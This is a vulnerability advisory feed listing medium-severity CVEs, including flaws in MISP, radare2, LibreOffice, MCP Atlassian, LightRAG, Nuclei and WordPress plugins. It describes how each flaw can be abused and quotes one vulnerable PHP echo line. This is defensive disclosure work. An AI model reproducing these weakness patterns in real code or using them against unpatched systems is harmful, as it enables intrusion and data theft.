CVE-2026-15915	New	6.2	MEDI				IBM Concert 1.0.0 through 3.0.0 could allow a local attacker to obtain sensitive information due to recursive copying of build context directories into container images.
CVE-2026-83964	New	6.2	MEDI				Adobe Connect is affected by an Improper Certificate Validation vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue does not require user interaction.
CVE-2026-92930	New	6.2	MEDI				OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 uses an administrator password-reset unlock-code design that lacks a per-device secret or other server-side cryptographic material. An attacker with physical-console access and access to the privileged password-reset workflow can forge a valid unlock code offline and use it to reset the administrator password. The ...
CVE-2026-48361	New	6.1	MEDI				Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field. Scope is changed.
CVE-2026-77250	New	6.1	MEDI			<code>pip:mcp-atlassian</code>	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, OAuthConfig writes a plaintext fallback file containing access and refresh tokens under the user's <code>.mcp-atlassian</code> directory using process-default permissions. On systems with a permissive umask, same-group or other local users and processes can read the persi...
CVE-2026-86062	New	6.1	MEDI			<code>pip:lightrag-hku</code>	LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, <code>lightrag_webui/src/components/retrieval/ChatMessage.tsx</code> renders answer and thinking content with <code>react-markdown</code> , <code>rehypeRaw</code> , and <code>skipHtml=false</code> without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content ...
CVE-2026-95812	New	6.1	MEDI				ClipBucket v5 before 5.5.3-#182 contains a reflected cross-site scripting vulnerability in the <code>sort_link()</code> helper function that fails to sanitize <code>cat</code> , <code>sort</code> , and <code>time</code> query parameters. Attackers can craft malicious requests with injected script payloads in these parameters to execute arbitrary JavaScript in victims' browsers under the application origin.
CVE-2026-95813	New	6.1	MEDI				e621ng versions before 26.09.16 pass untrusted request parameters directly to Rails <code>url_for</code> in <code>PaginatorComponent</code> and controller navigation links, allowing attackers to redirect pagination and navigation controls to attacker-controlled origins. Attackers can supply host, protocol, and port query parameters that are interpreted as URL generation options, causing pagination li...
CVE-2026-75101	New	6.0	MEDI				An authorization bypass vulnerability was identified in GitHub Enterprise Server that allowed any authenticated user of the instance to read the raw diff or patch of pull requests in private repositories without authorization. Access tokens for raw pull request diffs and patches were scoped to the repository name and pull request number rather than to a globally unique repos...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2025-36084	New	5.9	MEDI				IBM Concert 1.0.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
CVE-2026-65124	New	5.9	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause an XML injection. A successful exploit of this vulnerability might lead to data tampering and denial of service.
CVE-2026-77265	New	5.9	MEDI			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, header-supplied Jira or Confluence URLs are resolved and validated before the HTTP client resolves the hostname again for the connection. An unauthenticated caller can use a DNS-rebinding hostname that returns a public address during validation and an interna...
CVE-2026-85725	New	5.9	MEDI			pip:lightrag-hku	LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with suffici...
CVE-2026-94570	New	5.9	MEDI				SGLang contains a DoS vulnerability caused by missing input validation for AUX_DATA ZeroMQ control messages in the Decode worker, which enables an unauthenticated remote attacker with network reachability to the Decode control PULL socket to terminate the Decode control thread and cause a denial of service against the target server.
CVE-2026-95623	New	5.6	MEDI				The Tauri HTTP plugin validates requested URLs against the application's configured scope allowlist only once, on the initial request. When the remote server responds with an HTTP 3xx redirect, request follows the redirect internally without re-checking the new target URL against the scope. This allows an attacker who controls an allowed URL (or finds an open redirect on an ...
CVE-2026-75633	New	5.5	MEDI				CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a c...
CVE-2026-75656	New	5.5	MEDI				Bridge is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-76192	New	5.5	MEDI				InDesign Desktop is affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-76804	New	5.5	MEDI			go:github.com/projectdiscovery/nuclei/v3	Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the workflow template loading path does not enforce the -file capability gate when resolving file: protocol templates referenced by a workflow. An untrusted unsigned workflow can therefore load a file-protocol template and read local files from the scanner host even when the operator...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77268	New	5.5	MEDI			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth fallback token directory and JSON file are created without explicit owner-only modes. Local users or processes with access through the resulting group or world permission bits can read access and refresh tokens and reuse the associated Atlassian ses...
CVE-2026-79767	New	5.5	MEDI			go:gardener/gardener, go:github.com/gardener/gardener	Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator wh...
CVE-2026-81878	New	5.5	MEDI				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's CPython bytecode .pyc marshal parser was vulnerable because the CPython marshal readers accepted a 32-bit string length without rejecting values that overflow the size-plus-one allocation. The vulnerability is triggered by opening or inspecting a crafted .pyc file through...
CVE-2026-81879	New	5.5	MEDI				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's ELF PN_XNUM handling was vulnerable because the ELF parser allocated the program-header array using the resolved PN_XNUM count but several consumers still iterated with the original e_phnum value of 65535. The vulnerability is triggered by processing a crafted ELF file wi...
CVE-2026-81880	New	5.5	MEDI				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Apple Preferred Executable Format loader was vulnerable because the PEF loader accepted relocSecCount values that were not bounded by the number of sections or complete relocation records in the input. The vulnerability is triggered by normal binary-format auto-detection ...
CVE-2026-81885	New	5.5	MEDI				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's NE relocation fixup-chain parser was vulnerable because the NE relocation parser followed fixup chains without an active iteration limit or cycle detection. The vulnerability is triggered by opening a crafted NE executable whose in-bounds relocation entry points back to i...
CVE-2026-81886	New	5.5	MEDI				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Windows 64-bit crash-dump dmp64 parser was vulnerable because the Windows dmp64 parser used an input-controlled physical-memory-run PageCount directly as the bound of a per-page allocation loop. The vulnerability is triggered by opening a small crafted full-memory Windows...
CVE-2026-84396	New	5.5	MEDI				InDesign Desktop is affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-86056	New	5.5	MEDI				Notepad++ is a free and open-source source code editor. Prior to 8.9.8, the NPPM_SAVESESSION handler in PowerEditor/src/NppBigSwitch.cpp converts IParam to a sessionInfo pointer and dereferences its nbFile, files, and sessionFilePathName members without checking for null. A process running at the same or a higher Windows integrity level on the same desktop can send NPPM_SAVE...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89277	New	5.5	MEDI				CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact wit...
CVE-2026-95271	New	5.5	MEDI				A vulnerability has been found in dgtlmoon changedetection.io up to 0.60.7. The impacted element is the function check_authentication of the file changedetectionio/flask_app.py of the component Authentication Hook. Such manipulation leads to improper authentication. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The ven...
CVE-2026-95500	New	5.5	MEDI				A vulnerability has been found in JosephChuks php-file-manager-with-code-editor up to 3.0. Impacted is the function file_put_contents of the file codeEditor.php of the component Save Handler. The manipulation of the argument filename/content leads to unrestricted upload. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may b...
CVE-2026-95897	New	5.5	MEDI				A security vulnerability has been detected in Dask up to 2026.8.0. This affects the function from_npy_stack of the file dask/array/core.py of the component Loader. Such manipulation leads to deserialization. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but h...
CVE-2026-95928	New	5.5	MEDI				A security flaw has been discovered in recommenders-team recommenders up to 1.2.1. This impacts the function pickle.load of the file recommenders/models/newsrec/io/mind_iterator.py of the component Dict Loading. Performing a manipulation results in deserialization. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for...
CVE-2026-96259	New	5.5	MEDI				Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to apply the internal-connection filter to OAuth endpoint requests, which allows a System Administrator to make the server issue requests to internal network addresses and read the responses via the configured OAuth token and userinfo endpoints.. Mattermost Advisory ID: MMSA-20...
CVE-2026-96273	New	5.5	MEDI				Ghidra before 12.1.4 fails to validate the TYPE_COL byte in OptionsDB.createUnregisteredOption(), causing an ArrayIndexOutOfBoundsException that leaves domain objects permanently locked. Attackers can craft a malicious program database file that, when imported, causes the application to stall and prevents resource cleanup or graceful shutdown.
CVE-2026-18133	New	5.4	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to modify server files due to path traversal.
CVE-2026-18153	New	5.4	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information and forge authentication tags due to the use of hard-coded cryptographic keys and initialization vectors.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-63272	New	5.4	MEDI				LibreOffice can import WMF graphics, which may be embedded in documents. A heap buffer overflow existed when importing a text record that carries its own character advance widths. The count of advance values and the length of the text were read separately from the file and were not required to agree, so drawing the text walked the advance array by character position and ran ...
CVE-2026-63273	New	5.4	MEDI				LibreOffice Draw can import PDF documents. A heap buffer overflow existed when importing an encrypted document. The length of the decryption key was taken from the document's own encryption dictionary and was used to fill a fixed size key buffer without being checked against it, so a length larger than that buffer wrote past its end. In fixed versions a declared key length l...
CVE-2026-63274	New	5.4	MEDI				LibreOffice Draw can import PDF documents. A heap buffer overflow existed when importing a stream object. The length of the stream was taken from the object's own dictionary and was not checked against the number of bytes actually present, so copying the stream read and wrote past the end of the buffer holding it. In fixed versions the declared length is clamped to the bytes...
CVE-2026-63275	New	5.4	MEDI				LibreOffice can read CFF fonts, which may be embedded in documents. A stack buffer overflow existed when reading the hints of a glyph. The number of hints was checked against the wrong bound, so a glyph declaring more hints than the array can hold wrote past its end. In fixed versions the hint count is checked against the capacity the array really has.
CVE-2026-63276	New	5.4	MEDI				LibreOffice converts CFF fonts to Type 1 when it subsets a font, which happens when a document is exported to PDF, and CFF fonts may be embedded in documents. A stack buffer overflow existed in that conversion. The converted operators were written into a fixed size buffer with no check that they still fit, so a glyph emitting many operators wrote past the end of the buffer. ...
CVE-2026-63279	New	5.4	MEDI				LibreOffice can import PICT images, which may be embedded in documents. An out of bounds read existed when importing an image that uses a colour palette. The palette index held in the image data was used without being checked against the number of entries the palette has, so an index past the last entry read memory outside the palette. In fixed versions the palette index is ...
CVE-2026-77272	New	5.4	MEDI			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing t...
CVE-2026-83801	New	5.4	MEDI			pip:nautobot	Nautobot is a Network Source of Truth and Network Automation Platform. Prior to 2.4.37 and 3.1.8, a user with extras.add_relationship or extras.change_relationship permission can store HTML or JavaScript in a Relationship description, and a user with dcim.add_modulefamily or dcim.change_modulefamily permission can store it in a Module Family name. Nautobot assigns these valu...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90462	New	5.4	MEDI				A flaw was found in SSSD. When configured with the LDAP access provider and `ldap_access_order` including `ppolicy` or `lockout`, a fail-open condition in the LDAP ppolicy access check can occur if a user lookup returns zero results. This can incorrectly return success and cache an allow decision, permitting continued authorization for a deleted or deprovisioned user. A remo...
CVE-2026-91129	New	5.4	MEDI			pip:homeassistant	Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.2.3, the IPP integration automatically processed unauthenticated _ipp._tcp.local mDNS announcements in homeassistant/components/ipp/config_flow.py, where async_step_zeroconf passed attacker-controlled host, port, and base_path values to validate_input for printer metada...
CVE-2026-93342	New	5.4	MEDI				MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketking_duplicate_product AJAX action that allows authenticated attackers with subscriber-level access or higher to duplicate any vendor's product by supplying an arbitrary product ID. Attackers can bypass ownership verification to copy any vendor's product listings, includ...
CVE-2025-12767	New	5.3	MEDI				IBM Concert 1.0.0 through 3.0.0 could allow a remote attacker to cause a denial of service using a specially crafted regular expression that would cause excessive resource consumption.
CVE-2025-14484	New	5.3	MEDI		0.002		The Image Buzz plugin for WordPress is vulnerable to unauthorized API key modification due to missing authorization checks in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to modify arbitrary API keys (Pixabay, Unsplash, Pixels) configured by site administrators via the 'pixabay_api', 'unsplash_api', or 'pixels_api' parameters.
CVE-2025-14486	New	5.3	MEDI		0.002		The PixelPlay plugin for WordPress is vulnerable to unauthorized API key deletion due to missing authorization checks in all versions up to, and including, 1.0.2. This makes it possible for unauthenticated attackers to delete arbitrary API keys (Pixabay, Unsplash, Pixels, OpenAI) configured by site administrators via the 'clear_api_type' parameter.
CVE-2025-14487	New	5.3	MEDI		0.002		The Handily plugin for WordPress is vulnerable to unauthorized payment settings modification due to missing authorization checks in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to modify Stripe payment configuration settings, including publishable keys, secret keys, email addresses, success URLs, and cancel URLs via the payme...
CVE-2026-17620	New	5.3	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift 4.0.6.0 through 4.0.6.0.0.6.0 Refresh (Operator 4.4.6+20260807.081800)4.0.7.04.0.8.04.0.9.04.0.10.0 Interim Fix 064 IBM Financial Transaction Manager transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
CVE-2026-56682	New	5.3	MEDI			npm:9router	9Router is an AI router & token saver. Prior to 0.5.6, 9Router deployments that allow requests to reach Next.js without the sanitizing custom-server.js wrapper use the client-supplied X-9r-Real-Ip value as the bucket key in getClientIp, checkLock, and recordFail in src/lib/auth/loginLimiter.js for POST /api/auth/login. A remote unauthenticated attacker can rotate the header ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-63386	New	5.3	MEDI				js-toml is a TOML parser for JavaScript. Prior to 1.1.3, load() does not bound nesting or dotted-key depth in the recursive parser at src/load/parser.ts or the interpreter at src/load/interpreter.ts, so deeply nested arrays, deeply nested inline tables, or long dotted keys can exhaust the V8 call stack and throw a raw RangeError instead of the documented SyntaxParseError. Ap...
CVE-2026-65829	New	5.3	MEDI			maven:net.sf.mpxj:mpxj, nuget:MPXJ.Net, nuget:net.sf.mpxj, nuget:net.sf.mpxj-for-csharp, nuget:net.sf.mpxj-for-vb, pip:m	MPXJ is an open source library to read and write project plans from a variety of file formats and databases. From 7.3.0 until 16.5.0, reading a suitably crafted Primavera P3 PRX or SureTrak STX file can cause MPXJ to write files to arbitrary locations in the filesystem. This issue is fixed in version 16.5.0.
CVE-2026-75511	New	5.3	MEDI				Novu provides an API for sending notifications through multiple channels. Prior to 3.18.0, Novu accepts chat webhook URLs from subscriber credentials.webhookUrl, channel endpoint endpoint.url, event payload.webhookUrl, and event overrides.webhookUrl, then passes the selected endpoint.url through send-message-chat.usecase.ts to raw HTTP requests in the Slack, Discord, Matterm...
CVE-2026-76716	New	5.3	MEDI				Multiple vulnerabilities exist in the Analytics and Location Engine (ALE) that may allow for unauthorized access or denial of service. An unauthenticated remote attacker could exploit these vulnerabilities by sending specially crafted input or leveraging improper security configurations. Successful exploitation could result in a denial of service condition or unauthorized ac...
CVE-2026-76717	New	5.3	MEDI				A vulnerability exists in the Analytics and Location Engine (ALE) API that may allow for the disclosure of sensitive information. An unauthenticated remote attacker could exploit this vulnerability by providing specially crafted input to a specific API endpoint. Successful exploitation could result in the disclosure of sensitive user information, including password hashes, w...
CVE-2026-76803	New	5.3	MEDI			go:github.com/projectdiscovery/nuclei /v3	Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the nuclei/mysql JavaScript library does not enforce the local-file sandbox when a JavaScript template supplies the allowAllFiles MySQL DSN option. An untrusted javascript: template scanning an attacker-controlled MySQL-compatible endpoint can cause the server to issue LOAD DATA LOCA...
CVE-2026-76805	New	5.3	MEDI			go:github.com/projectdiscovery/nuclei /v3	Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the DAST/fuzz payload path in pkg/fuzz/parts.go can evaluate substituted runtime data more than once, creating a second evaluation pass that allows response content captured by an internal: true extractor in one protocol step to be reinterpreted as template syntax in a later fuzz ste...
CVE-2026-76910	New	5.3	MEDI			npm:unleash-server	Unleash is an open-source feature management platform. Prior to 8.0.3, cloneFeatureToggle and POST /api/admin/projects/:projectId/features/:featureName/clone authorize creation in the destination project but do not verify access to the source project. Because feature names are globally unique, a user with create or clone permission in one project who knows or guesses another...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77249	New	5.3	MEDI			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, JiraUserMixin._lookup_user_by_permissions uses the module-level requests.get function instead of the fetcher's protected session. A caller-controlled public Jira URL can redirect that unhooked request to an internal address, bypassing the redirect checks adde...
CVE-2026-85709	New	5.3	MEDI			pip:lightrag-hku	LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the LightRAG API server returns raw Python exception text from error handlers in document_routes.py, graph_routes.py, query_routes.py, ollama_api.py, and lightrag_server.py. The detail=str(e), detail=str(exc), and equivalent formatted-message paths expose server filesystem paths, database host,...
CVE-2026-88020	New	5.3	MEDI				Autonomy Logic OpenPLC 3 is susceptible to an improper neutralization of input during web page generation vulnerability when the web interface attempts to route the program based on a query string parameter with no encoding.
CVE-2026-90990	New	5.3	MEDI				Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk <2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services outside their contact groups and occupying web server and Livestatus workers f...
CVE-2026-92882	New	5.3	MEDI				Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk <2.5.0p15, <2.4.0p37, <2.3.0p51 and 2.2.0 (EOL) allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases and IPMI passwords in clear text from GET responses, although the setup GUI n...
CVE-2026-92929	New	5.3	MEDI				OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 trusts an X-Forwarded-For header supplied by an arbitrary client when determining the request source address. An unauthenticated remote attacker can spoof a loopback address to bypass local-connection-only security controls exposed on the affected non-TLS web interfaces and disclose configuration information. The u...
CVE-2026-93341	New	5.3	MEDI				MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketing_send_refund AJAX action that allows authenticated attackers with subscriber-level access or higher to create refund requests against any order by supplying an arbitrary order ID. Attackers can submit crafted AJAX requests targeting any order ID to create fraudulent ...
CVE-2026-95671	New	5.3	MEDI				In MISP, the CollectionsController add() method enforced the sharing-group usability authorization check and element capture only when the HTTP request method was POST. However, the underlying CRUDComponent::add() method persists data on both POST and PUT requests. As a result, an authenticated user could issue a PUT request to the collections/add endpoint, bypassing the sha...
CVE-2026-95674	New	5.3	MEDI				In MISP, the queryEnrichment method in EventsController.php accepted a module name parameter and iterated over the list of enabled modules to find a match. If the specified module was not present in the enabled modules list, the code silently continued processing using default parameters (format set to 'simplified' and no module-specific configuration applied) rather than re...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95683	New	5.3	MEDI				In MISP, the Overmind event view enriches an event with its most recent attached report for preview purposes. The enrichment logic fetched the report using only the event ID as the lookup condition, without applying the report's own distribution/ACL constraints. Because MISP reports carry an independent distribution setting that can be more restrictive than the parent event'...
CVE-2026-95685	New	5.3	MEDI				MISP contains an access control flaw in the EventReports functionality. The replaceSuggestionInReport action, which allows modification of suggestion content within an event report, was incorrectly mapped to the wildcard permission (*) in the ACLComponent, making it accessible to any authenticated user regardless of their assigned permissions. All analogous report-modifica...
CVE-2026-95693	New	5.3	MEDI				In MISP, the EventReport::uploadPicture method in processed a caller-supplied tmp_name field by invoking file_exists(), mime_content_type(), and exif_imagetype() on the supplied path before verifying that the value was a genuine PHP upload via is_uploaded_file(). An authenticated user holding the perm_add permission could supply an arbitrary filesystem path as the tmp_name v...
CVE-2026-95697	New	5.3	MEDI				MISP contains an authorization flaw in the Organisation model's captureOrg method. When the \$force parameter is set to true, the method unconditionally overwrites organization metadata fields without verifying that the invoking user holds sufficient privileges. A user with a sharing group (SG) editor role can trigger this code path, allowing them to modify organization metad...
CVE-2026-95698	New	5.3	MEDI				The findOrgImage method in MISP's OrgImgHelper constructs a filesystem path by concatenating a user-supplied organization identifier with a fixed image directory and a file extension, then calls file_exists() on the resulting path. The organization name field is attacker-controllable through event import, which sets Org.name. Because no validation was performed on the field ...
CVE-2026-95805	New	5.3	MEDI				A typo in the MISP ACLComponent access control configuration caused the ACL rule for the previewEventAttributes action to reference the permission string 'theming_enabled*' (with a trailing asterisk) instead of the correct 'theming_enabled'. In the MISP ACL system, the array values define which role or permission grants access to a given controller action. The adjacent entry...
CVE-2026-75510	New	5.1	MEDI			npm:@novu/js	Novu provides an API for sending notifications through multiple channels. Prior to 3.18.0, Novu's @novu/js In-App Inbox and the @novu/react Inbox component accept a notification call-to-action redirect.url from the v1 cta.data object and pass it through apps/api/src/app/inbox/utis/notification-mapper.ts and packages/js/src/ui/components/Notification/DefaultNotification.tsx ...
CVE-2026-95661	New	5.1	MEDI				MISP contains a reflected cross-site scripting (XSS) vulnerability in the attribute histogram view. The \$selectedTypes variable, which is derived from the URL path segment , was interpolated directly into a JavaScript array literal inside an onClick HTML attribute without any encoding or escaping. An attacker who can cause an authenticated MISP user to visit a crafted URL co...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95665	New	5.1	MEDI				MISP contains a reflected cross-site scripting (XSS) vulnerability in the event REST search export confirmation form. The view template app/View/Events/ajax/eventRestSearchExportConfirmationForm.ctp renders a URL-supplied event ID list into a single-quoted JavaScript string literal using PHP's json_encode() without any hex-encoding flags. By default, json_encode() escapes do...
CVE-2026-95701	New	5.1	MEDI				In MISP, the __statisticsOrgs method in UsersController.php used the organization name directly as a file-system path component when checking for the existence of an organization logo image. The original code called file_exists() with a path constructed as APP . 'webroot' . DS . 'img' . DS . 'orgs' . DS . \$k . '.png', where \$k is the organization name. Because the referenced...
CVE-2026-95703	New	5.1	MEDI				In MISP, the OrganisationsController::__uploadLogo method processed a caller-supplied tmp_name value with filesystem probes (file_exists, MIME type detection, EXIF reading) before verifying that the value corresponded to a genuine PHP file upload via is_uploaded_file. An authenticated site-admin user could supply an arbitrary server file path as the tmp_name parameter. The a...
CVE-2026-65117	New	5.0	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause use of a hard-coded password. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.
CVE-2026-65126	New	5.0	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause improper enforcement of a behavioral workflow. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.
CVE-2026-15095	New	4.9	MEDI		0.012		The Product Feed Manager for WooCommerce – CTX Feed – Support 220+ Shopping & Social Channels plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.6.43 via the 'provider' parameter. This makes it possible for authenticated attackers, with shop manager-level access and above, to delete arbitrary files on the server, which can lead ...
CVE-2026-95659	New	4.8	MEDI				MISP contains a reflected cross-site scripting (XSS) vulnerability in the AnalystDataController::viewForObject action. The method accepted a parent object type parameter from the URL without validation and passed it to the Overmind-themed AnalystData thread view element, where it was interpolated into two translated strings and rendered into the HTML response without output ...
CVE-2026-95682	New	4.8	MEDI				MISP contains a stored cross-site scripting (XSS) vulnerability in the admin email composition screen. The MISP.org organization name setting was interpolated directly into a JavaScript string literal using an unescaped PHP echo: var org = "<?php echo \$org;?>";. Because the value was placed inside a double-quoted JavaScript string without any encoding, an organization name c...
CVE-2026-76802	New	4.7	MEDI			go:github.com/projectdiscovery/nuclei/v3	Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the DAST template loading branch does not apply the unsigned code-template signature check before accepting a template that contains both a fuzzing: block and an unsigned code: block. When an operator enables -dast, an untrusted multiprotocol template can place an unsigned code requ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-79315	New	4.7	MEDI				A reflected cross-site scripting vulnerability exists in x-ui 0.3.2. The management interface reflects the raw request URI into a client-side template binding expression used for sidebar menu highlighting. Server-side HTML entity escaping is ineffective in this context: the browser decodes the entities before the client-side framework evaluates the content as a JavaScript ex...
CVE-2026-1645	New	4.4	MEDI		0.002		The Hostel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'custom_currency' parameter and the 'locale_url' setting in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access, to inject arbitrary web scripts in pages that ...
CVE-2026-12995	New	4.3	MEDI		0.002		The Custom Field Template plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.7.8 via the edit_meta_value due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to delete arbitrary media attachments site-wide by supplying any nu...
CVE-2026-18161	New	4.3	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to falsify transaction audit logs due to improper validation of a client-supplied HTTP header.
CVE-2026-18345	New	4.3	MEDI		0.002		The WP User Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Connect::complete() function in versions up to, and including, 2.9.18. The function is registered on the admin_init hook (which fires for every authenticated user that reaches /wp-admin/, including Subscribers) and performs no current_user_can(...
CVE-2026-18439	New	4.3	MEDI		0.003		The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 4.0.7 via the tutor_quiz_builder_save AJAX action due to missing validation that nested question_id, answer_id, deleted_question_ids[], and deleted_answer_ids[] values in the submitted payload belong to a quiz/topic/cou...
CVE-2026-4123	New	4.3	MEDI		0.002		The RW Elephant Rental Inventory plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 2.3.13. This is due to a missing capability check on the toggle_cache() function which is hooked to the wp_ajax_toggle_cache AJAX action. The function also lacks nonce verification. This makes it possible for authenticated attackers, with Subscribe...
CVE-2026-75634	New	4.3	MEDI				CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized limited write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a com...
CVE-2026-76194	New	4.3	MEDI				CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized limited write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a com...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-7622	New	4.3	MEDI		0.002		The ThumbPress plugin for WordPress is vulnerable to unauthorized access in versions up to and including 6.2.1. This is due to missing capability checks and nonce verification in the send_deactivation_survey() function registered via the wp_ajax_pl-plugin-deactivation AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to ...
CVE-2026-77425	New	4.3	MEDI			npm:unleash-server	Unleash is an open-source feature management platform. Prior to 8.0.3, POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order passes attacker-controlled strategy IDs to unprotectedUpdateStrategiesSortOrder and updateSortOrder without verifying that the IDs belong to the project, feature, and environment authorized by the...
